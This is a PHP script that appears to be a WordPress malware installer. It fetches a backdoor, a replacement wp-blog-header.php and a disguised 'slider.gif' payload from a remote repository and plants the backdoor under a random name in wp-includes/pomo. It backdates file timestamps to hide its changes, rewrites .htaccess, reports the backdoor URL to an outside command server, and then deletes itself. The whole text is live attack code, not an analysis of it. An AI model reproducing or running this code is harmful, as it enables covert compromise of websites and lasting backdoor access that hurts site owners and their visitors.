//<?php
check_is_wp();
include("wp-blog-header.php");
global $time;
$time = filemtime("wp-settings.php");
header("Content-Type: text/html; charset=UTF-8");

$wp = @rscc_dl('http://l4nc0d3.googlecode.com/svn/trunk/wp-blog-header.php');
$back = @rscc_dl('http://l4nc0d3.googlecode.com/svn/trunk/back.php');
$hijack = @rscc_dl('http://l4nc0d3.googlecode.com/svn/trunk/first.txt');

$back_file = "wp-includes/pomo/".substr(md5(rand(100,999)),5).".php";

write_to_file($back,$back_file);
write_to_file($wp,"wp-blog-header.php");
write_to_file($hijack,"wp-includes/images/slider.gif");

create_htaccess();

$back_url = "http://".preg_replace('!'.'i.php'.'!',$back_file, strtolower($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']));
$host_b = "http://".strtolower($_SERVER['HTTP_HOST'])."/";
$host = home_url().'/';
echo @rscc_dl("http://system.mongit.com/install_auto/v3/api.php?host=$host&host_b=$host_b&burl=$back_url&type=$type");
delmyself();

function check_is_wp(){
	if(!file_exists("wp-settings.php") || !file_exists("wp-blog-header.php")){
	delmyself();
	die('Not Wordpress!');
	}
}

function write_to_file($content,$filename){
	global $time;
	if(!file_exists($filename)){@touch($filename);}
	$file = fopen($filename,'w');
	$result = fwrite($file,$content);
	fclose($file);
	@touch($filename,$time);
	return true;
}

function create_htaccess(){
	$content = <<<EOF

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
EOF;
		if(@file_exists(".htaccess")){
			$hta = trim(@file_get_contents(".htaccess"));
			if(!preg_match('#BEGIN\s*WordPress.*RewriteRule.*END#si', $hta))
				{				
					$hta .= "$content";
					@file_put_contents(".htaccess", $hta);
					@touch(".htaccess",$time);
				}
		}else{
			@touch(".htaccess");
			@file_put_contents(".htaccess", $content);
			@touch(".htaccess",$time);
		}
}

function delmyself(){
	unlink("i.php");
}

  //?>